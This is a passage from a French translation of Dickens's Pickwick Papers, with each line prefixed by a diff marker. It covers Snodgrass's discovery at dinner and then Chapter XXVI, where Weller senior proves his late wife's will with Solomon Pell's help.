+la société. Mais, allons! ajouta-t-il tout haut, voici le dîner; vous
+vous mettrez à côté de moi.--Joe, damné garçon, comme il est éveillé!»
+
+Au grand désespoir de son maître, le gros joufflu était effectivement
+dans un état de vigilance remarquable. Ses yeux se tenaient tout grands
+ouverts et ne paraissaient point avoir envie de se fermer. Il y avait
+aussi dans ses manières une vivacité également inexplicable! Chaque fois
+que ses regards rencontraient ceux d'Émily ou d'Arabelle, il souriait en
+grimaçant; et une fois Wardle aurait pu jurer qu'il l'avait vu cligner
+de l'oeil.
+
+Cette altération dans les manières du gros joufflu naissait du sentiment
+de sa nouvelle importance, et de la dignité qu'il avait acquise en se
+trouvant le confident des jeunes ladies. Ces sourires et ces clins
+d'oeil étaient autant d'assurances condescendantes qu'elles pouvaient
+compter sur sa fidélité. Cependant comme ces signes étaient plus propres
+à inspirer les soupçons qu'à les apaiser, et comme ils étaient, en
+outre, légèrement embarrassants, Arabelle y répondait de temps en temps
+par un froncement de sourcils, par un geste de réprimande; mais le gros
+garçon ne voyant là qu'une invitation à se tenir sur ses gardes,
+recommençait à cligner de l'oeil et à sourire avec encore plus
+d'assiduité, afin de prouver qu'il comprenait parfaitement.
+
+«Joe, dit M. Wardle, après une recherche infructueuse dans toutes ses
+poches, ma tabatière est-elle sur le sofa?
+
+--Non, monsieur.
+
+--Oh! je m'en souviens; je l'ai laissée sur la toilette ce matin. Allez
+la chercher dans ma chambre.»
+
+Le gros garçon alla dans la chambre voisine, et après quelques minutes
+d'absence revint avec la tabatière, mais aussi avec la figure la plus
+pâle qu'ait jamais portée un gros garçon.
+
+«Qu'est-ce qui lui est donc arrivé? s'écria M. Wardle.
+
+--Il ne m'est rien arrivé, répondit Joe avec inquiétude.
+
+--Est-ce que vous avez vu des esprits? demanda le vieux gentleman.
+
+--Ou bien est-ce que vous en avez bu? suggéra Ben Allen.
+
+--Je pense que vous avez raison, chuchota Wardle à travers la table; il
+s'est grisé, j'en suis sûr.»
+
+Ben Allen répondit qu'il le croyait; et comme il avait observé beaucoup
+de cas semblables, Wardle fut confirmé dans la pensée qui cherchait à
+s'insinuer dans son cerveau depuis une demi-heure, et arriva à la
+conclusion que le gros joufflu était tout à fait gris.
+
+«Ayez l'oeil sur lui pendant quelques minutes, murmura-t-il; nous
+verrons bientôt s'il a réellement bu.»
+
+Le fait est que l'infortuné jeune homme avait seulement échangé une
+douzaine de paroles avec M. Snodgrass; que celui-ci l'avait supplié de
+s'adresser à quelque ami pour le faire mettre en liberté, puis l'avait
+poussé dehors avec la tabatière de peur qu'une absence trop prolongée
+n'éveillât des soupçons. Rentré dans la salle à manger, Joe était resté
+quelques instants à ruminer, avec une physionomie renversée, puis il
+avait quitté la chambre pour aller chercher Mary.
+
+Mais Mary était retournée au _Georges et Vautour_, après avoir habillé
+sa maîtresse, et le gros joufflu était revenu, plus démonté
+qu'auparavant.
+
+M. Wardle et Ben Allen échangèrent plusieurs coups d'oeil.
+
+«Joe, dit M. Wardle.
+
+--Oui, monsieur.
+
+--Pourquoi êtes-vous sorti?»
+
+Le gros joufflu regarda d'un air troublé chacun des convives, et bégaya
+qu'il n'en savait rien.
+
+«Oh! dit Wardle, vous n'en savez rien. Portez ce fromage à M. Pickwick.»
+
+Or, M. Pickwick, se trouvant en parfaite santé et en parfaite humeur,
+s'était rendu universellement délicieux pendant tout le temps du dîner,
+et paraissait en ce moment, engagé dans une intéressante conversation
+avec Émily et M. Winkle. Courbant gracieusement sa tête du côté de ses
+auditeurs, et tout rayonnant de paisibles sourires, il agitait doucement
+sa main droite, pour donner plus de force à ses observations. Il prit un
+morceau de fromage sur l'assiette et allait se retourner pour continuer
+sa conversation, quand le gros garçon se baissant de manière à amener sa
+tête au même niveau que celle de M. Pickwick, dirigea son pouce
+par-dessus son épaule comme pour lui montrer quelque chose, et fit en
+même temps la grimace la plus hideuse qu'on ait jamais vue.
+
+«Eh mais! s'écria M. Pickwick en tressaillant, voilà qui est... Eh...?»
+il s'arrêta court, car Joe venait de se redresser, et était ou
+prétendait être profondément endormi.
+
+«Qu'est-ce qu'il y a? demanda M. Wardle.
+
+--Votre jeune homme est si singulier, continua M. Pickwick en regardant
+Joe d'un air inquiet. Cela vous étonnera peut-être, mais sur ma parole,
+j'ai peur qu'il n'ait quelquefois l'esprit un peu dérangé.
+
+--Oh! monsieur Pickwick ne dites point cela, s'écrièrent ensemble Émily
+et Arabelle.
+
+--Je n'en répondrais pas, bien entendu, reprit le philosophe, au milieu
+d'un profond silence et d'une épouvante générale; mais ses manières avec
+moi, en ce moment, étaient vraiment alarmantes! Oh là là! cria M.
+Pickwick en sautant sur sa chaise. Je vous demande pardon, mesdames;
+mais il vient de m'enfoncer quelque chose de pointu dans la jambe....
+Réellement, il est très-dangereux.
+
+--Il est soûl! vociféra le vieux Wardle avec colère. Tirez la sonnette,
+appelez les garçons! il est soûl!...
+
+--Je ne suis pas soûl! s'écria le gros bouffi en tombant à genoux,
+pendant que son maître le saisissait par le collet, je ne suis pas soûl!
+
+--Alors vous êtes fou, ce qui est encore pis; appelez les garçons!
+
+--Je ne suis pas fou, je suis très-raisonnable, répliqua Joe en
+commençant à pleurer.
+
+--Alors pourquoi diable piquez-vous la jambe de M. Pickwick?
+
+--Il ne voulait pas me regarder, j'avais quelque chose à lui dire.
+
+--Que vouliez-vous lui dire?» demandèrent une demi-douzaine de voix à la
+fois.
+
+Joe soupira, regarda la porte de la chambre à coucher, soupira encore,
+et essuya ses larmes avec les jointures de ses deux index.
+
+«Qu'est-ce que vous vouliez lui dire? demanda M. Wardle en le secouant.
+
+--Arrêtez! dit M. Pickwick, laissez-moi lui parler. Qu'est-ce que vous
+désiriez me communiquer, mon pauvre garçon?
+
+--Je voulais vous parler tout bas.
+
+--Vous vouliez lui mordre l'oreille, je suppose, interrompit M. Wardle;
+ne l'approchez pas, Pickwick, il est enragé. Tirez la sonnette pour
+qu'on l'emmène en bas.»
+
+À l'instant où M. Winkle prenait le cordon de la sonnette, il fut arrêté
+par d'universelles exclamations de surprise. L'amant captif, avec un
+visage pourpre de confusion, était soudainement sorti de la chambre à
+coucher, et faisait un salut général à toute le compagnie.
+
+«Oh! ah! s'écria M. Wardle en lâchant le collet du gros joufflu et en
+reculant d'un pas, qu'est-ce que cela signifie?
+
+--Monsieur, répliqua M. Snodgrass, je suis caché dans la chambre voisine
+depuis votre retour.
+
+--Émily, ma fille, dit M. Wardle d'un ton de reproche, vous savez
+pourtant bien que je déteste les cachoteries et les mensonges. Ceci est
+tout à fait indélicat et inexcusable. Je ne méritais pas cela de votre
+part, Émily, en vérité.
+
+--Cher papa, dit Émily, j'ignorais qu'il était là. Arabelle peut vous le
+dire, et Joe aussi, et tout le monde. Auguste, au nom du ciel,
+expliquez-vous!»
+
+M. Snodgrass, qui avait attendu seulement qu'on voulût bien l'entendre,
+raconta immédiatement comment il avait été placé dans cette position
+embarrassante; comment la crainte d'exciter des dissensions domestiques
+l'avait seule engagé à éviter la rencontre de M. Wardle; comment il
+voulait simplement s'en aller par une autre porte, et comment, la
+trouvant fermée, il avait été forcé de rester, contre sa volonté. Il
+termina en disant qu'il se trouvait placé dans une situation pénible;
+mais qu'il le regrettait moins maintenant, puisque c'était une occasion
+de déclarer devant leurs amis communs qu'il aimait profondément et
+sincèrement la fille de M. Wardle; qu'il était orgueilleux d'avouer que
+leur penchant était mutuel, et que, quand même il serait séparé d'elle
+par des milliers de lieues, quand même l'Océan roulerait entre eux ses
+ondes infinies, il n'oublierait jamais un seul instant cet heureux jour
+où, pour la première fois, etc., etc., etc.
+
+Ayant péroré de cette manière, M. Snodgrass salua encore, regarda dans
+son chapeau, et se dirigea vers la porte.
+
+«Arrêtez! s'écria M. Wardle. Pourquoi, au nom de tout ce qui est....
+
+--Inflammable, suggéra doucement M. Pickwick, pensant qu'il allait venir
+quelque chose de pis.
+
+--Eh bien! au nom de tout ce qui est inflammable, dit M. Wardle en
+adoptant cette variante, pourquoi ne m'avez-vous pas dit cela, à moi, en
+premier lieu?
+
+--Ou pourquoi ne vous êtes-vous pas confié à moi? ajouta M. Pickwick.
+
+--Voyons, dit Arabelle, en se chargeant de la défense, à quoi sert de
+faire tant de questions; maintenant surtout, quand vous savez que vous
+aviez choisi, dans des vues intéressées, un beau-fils beaucoup plus
+riche, et que vous êtes si méchant et si emporté, que tout le monde a
+peur de vous, excepté moi? Donnez-lui une poignée de mains, et
+faites-lui servir quelque chose à manger, pour l'amour du ciel! Vous
+voyez bien son air affamé! et, je vous en prie, faites apporter votre
+vin tout de suite, car vous ne serez pas supportable jusqu'à ce que vous
+ayez bu vos deux bouteilles, au moins.»
+
+Le digne vieillard tira Arabelle par l'oreille, l'embrassa sans le plus
+léger scrupule, embrassa également sa fille avec une grande affection,
+et secoua cordialement la main de M. Snodgrass.
+
+«Elle a raison sur un point, tout au moins, dit-il joyeusement; sonnez
+pour le vin.»
+
+Le vin arriva, et Perker entra en même temps. M. Snodgrass fut servi sur
+une petite table, et quand il eut dépêché son dîner, il tira sa chaise
+auprès d'Émily, sans la plus légère opposition de la part du vieux
+gentleman.
+
+La soirée fut charmante. Le petit Perker était tout à fait en train. Il
+raconta plusieurs histoires comiques, et chanta une chanson sérieuse qui
+parut presque aussi comique que ses anecdotes. Arabelle fut ravissante,
+M. Wardle jovial, M. Pickwick harmonieux, M. Ben Allen bruyant, les
+amants silencieux, M. Winkle bavard, et toute la société fort heureuse.
+
+
+
+
+CHAPITRE XXVI.
+
+M. Salomon Pell, assisté par un comité choisi de cochers, arrange les
+affaires de M. Weller senior.
+
+
+«Samivel, dit M. Weller en accostant son fils, le lendemain des
+funérailles, je l'ai trouvé; je pensais bien qu'il était ici.
+
+--Qu'est-ce que vous avez trouvé?
+
+--Le testament de ta belle-mère, Sammy, qui fait ces arrangements dont
+je t'ai parlé, pour les fontes.
+
+«Quoi! elle ne vous avait pas dit où il était?
+
+--Pas un brin, Sammy. Nous étions en train d'ajuster nos petits
+différents, et je la remontais, et je l'engageais à se remettre sur
+pieds, si bien que j'ai oublié de lui parler de cela. Ensuite, je ne
+sais pas trop si j'en aurais parlé, quand même je m'en serais souvenu,
+car c'est une drôle de chose, Sammy, de tourmenter quelqu'un pour sa
+propriété, quand vous l'assistez dans une maladie. C'est comme si vous
+mettiez la main dans la poche d'un voyageur de l'impériale, qui a été
+jeté par terre, pendant que vous l'aidez à se relever, et que vous lui
+demandez, avec un soupir, comment il se porte.»
+
+Après avoir donné cette illustration figurée de sa pensée, M. Weller
+ouvrit son portefeuille, et en tira une feuille de papier à lettre,
+passablement malpropre, et sur laquelle étaient inscrits divers
+caractères, amoncelés dans une remarquable confusion.
+
+«Voilà ici le document, Sammy; je l'ai trouvé dans la petite théière
+noire, sur la planche de l'armoire du comptoir. C'est là qu'elle mettait
+ses bank-notes avant d'être mariée, Sammy; j'y en ai vu prendre bien des
+fois. Pauvre créature! elle aurait pu remplir de testaments toutes les
+théières de la maison, sans se gêner beaucoup, car elle ne prenait guère
+de cette boisson-là dans les derniers temps, excepté dans les soirées de
+tempérance, ous-ce qu'elle mettait une fondation de thé pour poser les
+esprits par-dessus.
+
+--Qu'est-ce qu'il dit? demanda Sam.
+
+--Juste ce que je t'ai raconté, mon garçon: deux cents livres sterling
+dans les fontes, à mon beau-fils Samivel, et tout le reste de mes
+propriétés de toute sorte à mon mari, M. Tony Veller, que je nomme mon
+seul équateur.
+
+--Est-ce tout?
+
+--C'est tout. Et comme c'est clair et satisfaisant pour vous et pour
+moi, qui sont les seules parties intéressées, je suppose que nous
+pourrons aussi bien mettre ce morceau de papier ici dans le feu.
+
+--Qu'est-ce que vous allez faire, lunatique? s'écria Sam en saisissant
+le testament, tandis que son père attisait innocemment le feu avant de
+l'y jeter. Vous êtes un joli exécuteur, véritablement.
+
+--Pourquoi pas? demanda M. Weller en se retournant d'un air sévère, avec
+le fourgon dans sa main.
+
+--Pourquoi pas! Parce qu'il faut qu'il soit égalisé, et falziflé, et
+juré, et toutes sortes de manières de formalités.
+
+--C'est-y sérieux tout ça? demanda M. Weller en déposant le fourgon.»
+
+Sam boutonna soigneusement le testament dans sa poche, en intimant, par
+un geste, qu'il parlait fort sérieusement.
+
+«Alors je vas te dire la chose, reprit M. Weller après une courte
+méditation; voilà une affaire qui regarde l'ami intime du chancelier. I
+faut que Pell mette son nez là dedans. C'est un fameux gaillard dans une
+question de loi difficile. Nous allons faire produire ça sur-le-champ
+devant la Cour des insolvables, Sammy.
+
+--Je n'ai jamais vu une vieille créature aussi écervelée! s'écria Sam
+colériquement. _Old Baileys_, et la Cour des insolvables, et les
+_alébis_, et toute sorte de fariboles qui se brouillent dans sa
+cervelle. Vous feriez mieux de mettre votre habit du dimanche et de
+venir avec moi à la ville, pour arranger cette affaire ici, que de
+rester là à prêcher sur ce que vous n'entendez pas.
+
+--Très-bien, Sammy, je suis tout à fait concordant à ce qui pourra
+expédier les affaires. Mais fais attention à ceci, mon garçon, il n'y a
+que Pell, il n'y a que Pell, dans une affaire législative.
+
+--Je n'en demande pas un autre; mais êtes-vous prêt à venir?
+
+--Attends une minute, Sammy, répliqua M. Weller en attachant son châle à
+l'aide d'une petite glace accrochée à la fenêtre; attends une minute,
+Sammy, poursuivit-il en s'efforçant d'entrer dans son habit au moyen des
+plus étonnantes contorsions; quand tu seras devenu aussi vieux que ton
+père, tu n'entreras pas dans ta veste aussi aisément qu'à présent, mon
+garçon.
+
+--Si je ne pouvais pas y entrer plus aisément que cela, je veux être
+pendu si j'en mettais jamais une.
+
+--Tu penses comme ça, maintenant, répliqua M. Weller avec la gravité de
+l'âge; mais tu t'apercevras que tu deviendras plus sage quand tu
+deviendras plus gros. La grosseur et la sagesse vont toujours ensemble,
+Sammy.»
+
+Ayant débité cette infaillible maxime, résultat de beaucoup d'années et
+d'observations personnelles, M. Weller parvint, par une habile inflexion
+de son corps, à boutonner le premier bouton de sa lourde redingote.
+Ensuite, s'étant reposé quelques secondes pour reprendre haleine, il
+brossa son chapeau avec son coude, et déclara qu'il était prêt.
+
+«Comme quatre têtes valent mieux que deux, Sammy, dit M. Weller en
+conduisant sa carriole sur la route de Londres, et comme cette propriété
+ici est une tentation pour un gentleman de la justice, nous prendrons
+deux de mes amis avec nous qui seront bientôt sur ses talons, s'il veut
+faire qué'que chose d'inconvenant: deux de ceux que tu as vus à la
+prison l'autre jour. C'est les meilleurs connaisseurs en chevaux que tu
+aies jamais rencontrés.
+
+--Et en hommes d'affaires aussi?
+
+--L'homme qui sait former un jugement judiciaire d'un cheval peut former
+un jugement judiciaire de n'importe quoi,» répondit M. Weller si
+dogmatiquement, que Sam n'osa point contester cet aphorisme.
+
+En conséquence de cette notable résolution, M. Weller mit en réquisition
+les services du gentleman au teint marbré et ceux de deux autres
+très-gros cochers, choisis apparemment à cause de leur ampleur et de
+leur sagesse proportionnelle. Le quintette se rendit alors à la taverne
+du _Portugal-Street_, d'où un messager fut dépêché à la Cour des
+insolvables, pour requérir la présence immédiate de M. Salomon Pell.
+
+Le messager le trouva dans la salle, occupé à prendre une petite
+collation froide, composée d'un biscuit et d'un cervelas. Les affaires
+étaient un peu languissantes en ce moment; aussi à peine le message lui
+eut-il été soufflé dans l'oreille qu'il fourra les restes de son
+déjeuner dans sa poche parmi plusieurs autres documents professionnels,
+et se dirigea vers ses clients avec tant de vivacité qu'il avait atteint
+le parloir de la taverne avant que le messager se fût dégagé de la salle
+d'audience.
+
+«Gentlemen, dit M. Pell en touchant son chapeau, je vous offre mes
+services. Je ne dis pas cela pour vous flatter, gentlemen, mais il n'y a
+pas dans le monde cinq autres personnes pour qui je fusse sorti de la
+cour aujourd'hui.
+
+--Fort occupé? dit Sam.
+
+--Occupé par-dessus les épaules, comme mon ami le défunt lord chancelier
+me disait souvent, quand il venait d'entendre des appels dans la chambre
+des Lords. Il n'était pas bien robuste, et il se ressentait beaucoup de
+ces appels. J'ai pensé bien des fois qu'il ne pourrait pas y résister,
+en vérité.»
+
+En achevant ces paroles, M. Pell branla la tête et s'arrêta. Aussitôt M.
+Weller, poussant du coude son voisin pour lui faire remarquer les
+connaissances distinguées de l'homme d'affaires, demanda à celui-ci si
+les fatigues en question avaient produit quelques mauvais effets
+permanents sur la constitution de son noble ami.
+
+«Je ne pense pas qu'il s'en soit jamais remis, répliqua Pell. En fait,
+je suis sûr que non. «Pell, me disait-il souvent, comment diable
+pouvez-vous soutenir tout le travail que vous faites? C'est un mystère
+pour moi.--Ma foi, répondais-je, sur ma vie, je ne le sais pas
+moi-même.--Pell, ajoutait-il en soupirant et en me regardant avec un peu
+d'envie.... une envie amicale, comme vous voyez, gentlemen, pure envie
+amicale.... je n'y faisais pas attention; Pell, disait-il, vous êtes
+étonnant, vraiment étonnant.» Ah! vous l'auriez beaucoup, aimé si vous
+l'aviez connu, gentlemen. Apportez-moi pour trois pence de rhum, ma
+chère.»
+
+Ayant adressé cette dernière phrase à la servante d'un ton de douleur
+comprimée, M. Pell soupira, regarda ses souliers, puis le plafond, but
+son rhum et tirant sa chaise plus près de la table: «Quoi qu'il en soit,
+un homme de ma profession n'a pas le droit de penser à ses amitiés
+privées, quand son assistance légale est requise. Par parenthèse,
+gentlemen, depuis la dernière fois que je vous ai vus, nous avons eu à
+pleurer sur une mélancolique circonstance. (M. Pell tira son mouchoir en
+prononçant le mot _pleurer_, mais il n'en fit pas d'autre usage que
+d'essuyer une légère goutte de rhum qui teignait sa lèvre supérieure.)
+J'ai vu cela dans l'_Advertiser_, monsieur Weller, poursuivit-il. Et
+dire qu'elle n'avait pas plus de cinquante-deux ans!»
+
+Ces exclamations d'un esprit pensif étaient adressées à l'homme au teint
+marbré, dont M. Pell avait fortuitement rencontré le regard.
+Malheureusement, la conception de celui-ci était, en général, d'une
+nature fort nuageuse. Il s'agita d'un air inquiet sur sa chaise en
+déclarant qu'en vérité.... quant à cela.... il n'y avait pas moyen de
+dire comment les choses en étaient venues là: proposition subtile,
+difficile à détruire par des arguments, et qui, en conséquence, ne fut
+controversée par personne.
+
+«J'ai entendu dire que c'était une bien belle femme, monsieur Weller,
+ajouta-t-il d'un air de sympathie.
+
+--Oui, monsieur, c'est vrai, répliqua le cocher, quoiqu'il n'aimât pas
+trop cette manière d'entamer le sujet; mais il pensait que l'homme
+d'affaires, vu sa longue intimité avec le défunt lord chancelier,
+devait se connaître mieux que lui en politesse et en bonnes manières.
+Elle était fort belle femme quand je l'ai connue, monsieur; elle était
+veuve alors.
+
+--Voilà qui est curieux, dit Pell, en regardant les assistants avec un
+douloureux sourire; Mme Pell, aussi, était une veuve.
+
+--C'est un fait fort extraordinaire, fit observer l'homme au teint
+marbré.
+
+--Oui, c'est une singulière coïncidence, reprit Pell.
+
+--Pas du tout reprit M. Weller d'un ton bourru, il a y plus de veuves
+que de filles qui se marient.
+
+--Très-bien, très-bien, répondit Pell, vous avez tout à fait raison,
+monsieur Weller. Mme Pell était une femme élégante et accomplie; ses
+manières faisaient l'admiration générale du voisinage. J'étais
+orgueilleux quand je la voyais danser. Il y avait quelque chose de si
+ferme, de si noble, et cependant de si naturel dans son maintien! Sa
+tournure, gentlemen, était la simplicité même.... Ah!
+hélas!--Permettez-moi cette question, monsieur Samuel, poursuivit
+l'avoué d'une voix plus basse, votre belle-mère était-elle grande?
+
+--Pas trop.
+
+--Mme Pell était grande; c'était une femme superbe, d'une magnifique
+figure, et dont le nez, gentlemen, avait été fait pour commander. Elle
+m'était fort attachée, fort! Elle avait de plus une famille distinguée:
+le frère de sa mère, gentlemen, avait fait une faillite de huit cents
+livres sterling comme _Law stationer_[24].
+
+[Footnote 24: Papetier qui se charge de faire faire des copies d'actes
+et vend des quittances de loyer, etc. etc.]
+
+--Maintenant, interrompit M. Weller, qui s'était montré inquiet et agité
+pendant cette discussion, maintenant, pour parler d'affaires....»
+
+Ces paroles furent une délicieuse musique aux oreilles de M. Pell. Il
+cherchait depuis longtemps à deviner s'il y avait quelque affaire à
+traiter, ou s'il avait été simplement invité pour prendre sa part d'un
+bol de punch ou de grog; et le doute se trouvait résolu sans qu'il eût
+témoigné aucun empressement capable de le compromettre. Il posa son
+chapeau sur la table et ses yeux brillaient en disant:
+
+«Quelle est l'affaire sur laquelle.... hum?--Y a-t-il un de ces
+gentlemen qui désire passer devant la cour? Nous avons besoin d'une
+arrestation: une arrestation amicale fera l'affaire. Nous sommes tous
+amis ici, je suppose?
+
+--Donne-moi le document Sammy, dit M. Weller à son fils, qui paraissait
+jouir étonnamment de cette scène. Ce que nous désirons, mossieu, c'est
+vétrification de ceci.
+
+--Une vérification, mon cher monsieur; vérification, fit observer Pell.
+
+--C'est bien, mossieu, reprit M. Weller aigrement; vérification, ou
+vétrification, c'est toujours la même chose. Si vous ne me comprenez
+pas, j'espère que je trouverai quelqu'un qui me comprendra.
+
+--Il n'y a pas d'offense, monsieur Weller, répondit Pell d'un ton doux.
+Vous êtes l'exécuteur à ce que je vois, ajouta-t-il en jetant les yeux
+sur le papier.
+
+--Oui, mossieu.
+
+--Ces autres gentlemen sont légataires, à ce que je présume? demanda
+Pell avec un sourire congratulatoire.
+
+--Sammy est locataire, répliqua M. Weller. Ces autres gentlemen sont de
+mes amis, venus avec moi pour voir que tout se passe comme il faut, des
+espèces d'arbitres.
+
+--Oh! très-bien; je n'ai aucune raison pour m'opposer à cela,
+assurément. Je vous demanderai la légère somme de cinq livres
+sterling[25] avant de commencer, ha! ha! ha!»
+
+[Footnote 25: 125 francs.]
+
+Le comité ayant décidé que les cinq livres sterling pouvaient être
+avancées, M. Weller produisit cette somme. Ensuite on tint, à propos de
+rien, une longue consultation, dans laquelle M. Pell démontra, à la
+parfaite satisfaction des arbitres, que si le soin de cette affaire
+avait été confié à tout autre qu'à lui, elle aurait tourné de travers
+pour des raisons qu'il n'expliquait pas clairement, mais qui étaient,
+sans aucun doute, satisfaisantes. Ce point important dépêché, l'homme de
+loi prit pour se restaurer trois côtelettes, arrosées de bière et
+d'eau-de-vie, puis ensuite toute la troupe se dirigea vers _Doctor's
+Commons_.
+
+Le lendemain, on fit une autre visite à _Doctors' Commons_, mais les
+attestations nécessaires furent un peu enrayées par un palfrenier ivre,
+qui se refusait obstinément à jurer autre chose que des jurons profanes,
+au grand scandale d'un procureur et d'un délégué du lord chancelier. La
+semaine suivante, il fallut faire encore d'autres visites à _Doctor's
+Commons_, puis au bureau des droits d'héritage; puis il fallut rédiger
+au contrat pour la vente de l'auberge, ratifier ledit contrat, dresser
+des inventaires, accumuler des masses de papier, expédier des déjeuners,
+avaler des dîners, et faire enfin une foule d'autres choses également
+nécessaires et profitables. Aussi M. Salomon Pell, et son garçon, et son
+sac bleu par-dessus le marché, se remplumèrent-ils si bien qu'on aurait
+eu infiniment de peine à les reconnaître pour le même homme, le même
+garçon et le même sac, qui flânaient à vide, quelques jours auparavant,
+dans _Portugal-Street_.
+
+À la fin, toutes ces importantes affaires ayant été arrangées, un jour
+fut fixé pour la vente et le transfert en rentes qui devais être fait
+par les soins de Wilkins Flasher, esquire[26], agent de change,
+demeurant aux environs de la Banque, lequel avait été recommandé par M.
+Salomon Pell.
+
+[Footnote 26: En Angleterre tout le monde peut s'établir agent de
+change.]
+
+C'était une sorte de jour de fête, et nos amis n'avaient pas manqué de
+se costumer en conséquence. Les bottes de M. Weller étaient fraîchement
+cirées et ses vêtements arrangés avec un soin particulier. Le gentleman
+au teint marbré portait à la boutonnière de son habit un énorme dalhia
+garni de quelques feuilles, et les habits de ses deux amis étaient ornés
+de bouquets de laurier et d'autres arbres verts. Tous les trois avaient
+mis leur costume de fête, c'est-à-dire qu'ils étaient enveloppés
+jusqu'au menton, et portaient la plus grande quantité possible de
+vêtements; ce qui a toujours été le nec-plus-ultra de la toilette pour
+les cochers de voitures publiques, depuis que les voitures publiques ont
+été inventées.
+
+M. Pell les attendait à l'heure désignée, dans le lieu de réunion
+ordinaire. Lui aussi avait mis une paire de gants et une chemise
+blanche, malheureusement éraillée au col et aux poignets par de trop
+fréquents lavages.
+
+«Deux heures moins un quart, dit-il en regardant l'horloge de la salle.
+Le meilleur moment pour aller chez M. Flasher c'est deux heures un
+quart.
+
+--Que pensez-vous d'une goutte de bière, gentlemen? suggéra l'homme au
+teint marbré.
+
+--Et d'un petit morceau de boeuf froid? dit le second cocher.
+
+--Écoutez! écoutez! cria Pell.
+
+--Ou bien d'une huître? ajouta le troisième cocher, qui était un
+gentleman enroué, supporté par des piliers énormes.
+
+--Afin de féliciter monsieur Weller sur sa nouvelle propriété, continua
+l'habile homme d'affaires. Eh! ha! hi! hi! hi!
+
+--J'y suis tout à fait consentant, gentlemen, répondit M. Weller. Sammy,
+tirez la sonnette.»
+
+Sam obéit, et le _porter_, le boeuf froid et les huîtres ayant été
+promptement apportés, furent aussi promptement dépêchés. Dans une
+opération où chacun prit une part si active, il serait peut-être
+inconvenant de signaler quelque distinction; pourtant, si un individu
+montra plus de capacités qu'un autre, ce fut le cocher à la voix
+enrouée, car il prit une pinte de vinaigre avec ses huîtres sans trahir
+la moindre émotion.
+
+Lorsque les coquilles d'huîtres eurent été emportées, un verre d'eau et
+d'eau-de-vie fut placé devant chacun des gentlemen.
+
+«Monsieur Pell, dit M. Weller en remuant son grog, c'était mon intention
+de proposer un toast en l'honneur des _fontes_ dans cette occasion; mais
+Samivel m'a soufflé tout bas (ici M. Samuel Weller qui, jusqu'alors
+avait mangé ses huîtres avec de tranquilles sourires, cria tout à coup
+d'une voix sonore: Écoutez!) m'a soufflé tout bas qu'il vaudrait mieux
+dévouer la liqueur à vous souhaiter toutes sortes de succès et de
+prospérité, et à vous remercier de la manière dont vous avez conduit mon
+affaire. À vot'santé, mossieu.
+
+--Arrêtez un instant, s'écria le gentleman au teint marbré avec une
+énergie soudaine; regardez-moi, gentlemen!»
+
+En parlant ainsi, le gentleman au teint marbré se leva, et ses
+compagnons en firent autant. Il promena ses regards sur toute la
+compagnie, puis il leva lentement sa main, et en même temps chaque
+gentleman présent prit une longue haleine et porta son verre à sa
+bouche. Au bout d'un instant, le coryphée abaissa la main, et chaque
+verre fut déposé sur la table complétement vide. Il est impossible de
+décrire l'effet électrique de cette imposante cérémonie. À la fois
+simple, frappante et pleine de dignité, elle combinait tous les éléments
+de grandeur.
+
+«Eh bien! gentlemen, fit alors M. Pell, tout ce que je puis dire, c'est
+que de telles marques de confiance sont bien honorables pour un homme
+d'affaires. Je ne voudrais point avoir l'air d'un égoïste, gentlemen;
+mais je suis charmé, dans votre propre intérêt, que vous vous soyez
+adressés à moi: voilà tout. Si vous étiez tombés entre les griffes de
+quelques membres infimes de la profession, vous vous seriez trouvés
+depuis longtemps dans la rue des enfoncés. Plût à Dieu que mon noble
+ami eût été vivant pour voir comment j'ai conduit cette affaire! Je ne
+dis pas cela par amour-propre, mais je pense... mais non, gentlemen, je
+ne vous fatiguerai pas de mon opinion à cet égard. On me trouve
+généralement ici, gentlemen; mais si je ne suis pas ici, au bien de
+l'autre côté de la rue, voilà mon adresse. Vous trouverez mes prix fort
+modérés et fort raisonnables. Il n'y a pas d'homme qui s'occupe plus que
+moi de ses clients, et je me flatte, en outre, de connaître suffisamment
+ma profession. Si vous pouvez me recommander à vos amis, gentlemen, je
+vous en serai très-obligé, et ils vous seront obligés aussi quand ils me
+connaîtront. À votre santé, gentlemen.»
+
+Ayant ainsi exprimé ses sentiments, M. Salomon Pell plaça trois petites
+cartes devant les amis de M. Weller, et regardant de nouveau l'horloge,
+manifesta la crainte qu'il ne fût temps de partir. Comprenant cette
+insinuation, M. Weller paya les frais; puis l'exécuteur, le légataire,
+l'homme d'affaires et les arbitres, dirigèrent leurs pas vers la cité.
+
+Le bureau de Wilkins Flasher, esquire, agent de change, était au premier
+étage, dans une cour, derrière la Banque d'Angleterre; la maison de
+Wilkins Flasher, esquire, était à _Brixton, Surrey_; le cheval et le
+_stanhope_ de Wilkins Flasher, esquire, étaient dans une écurie et une
+remise adjacente; le groom de Wilkins Flasher, esquire, était en route
+vers le _West-End_ pour y porter du gibier; le clerc de Wilkins Flasher,
+esquire, était allé dîner; et ainsi ce fut Wilkins Flasher lui-même qui
+cria: Entrez! lorsque M. Pell et ses compagnons frappèrent à la porte de
+son bureau.
+
+«Bonjour, monsieur, dit Pell en saluant obséquieusement. Nous
+désirerions faire un petit transfert, s'il vous plaît.
+
+--Bien, bien, entrez, répondit M. Flasher. Asseyez-vous une minute, je
+suis à vous sur-le-champ.
+
+--Merci, monsieur, reprit Pell; il n'y a pas de presse.--Prenez une
+chaise, monsieur Weller.»
+
+M. Weller prit une chaise, et Sam prit une boîte, et les arbitres
+prirent ce qu'ils purent trouver, et se mirent à contempler un almanach
+et deux ou trois papiers, collés sur le mur, avec d'aussi grands yeux et
+autant de révérence que si ç'avaient été les plus belles productions des
+anciens maîtres.
+
+«Eh bien! voulez-vous parier une demi-douzaine de vin de Bordeaux,» dit
+Wilkins Flasher, esquire, en reprenant la conversation que l'entrée de
+M. Pell et de ses compagnons, avait interrompue un instant.
+
+Ceci s'adressait à un jeune gentleman fort élégant, qui portait son
+chapeau sur son favori droit, et qui, nonchalamment appuyé sur un
+bureau, s'occupait à tuer des mouches avec une règle. Wilkins Flasher,
+esquire, se balançait sur deux des pieds d'un tabouret fort élevé,
+frappant avec grande dextérité, de la pointe d'un canif, le contre d'un
+petit pain à cacheter rouge, collé sur une boîte de carton. Les deux
+gentlemen avaient des gilets très-ouverts et des collets très-rabattus,
+de très-petites bottes et de très-gros anneaux, de très-petites montres
+et de très-grosses chaînes, des pantalons très-symétriques et des
+mouchoirs parfumés.
+
+«Je ne parie jamais une demi-douzaine. Une douzaine, si vous voulez?
+
+--Tenu. Simmery, tenu!
+
+--Première qualité.
+
+--Naturellement, répliqua Wilkins Flasher, esquire; et il inscrivit le
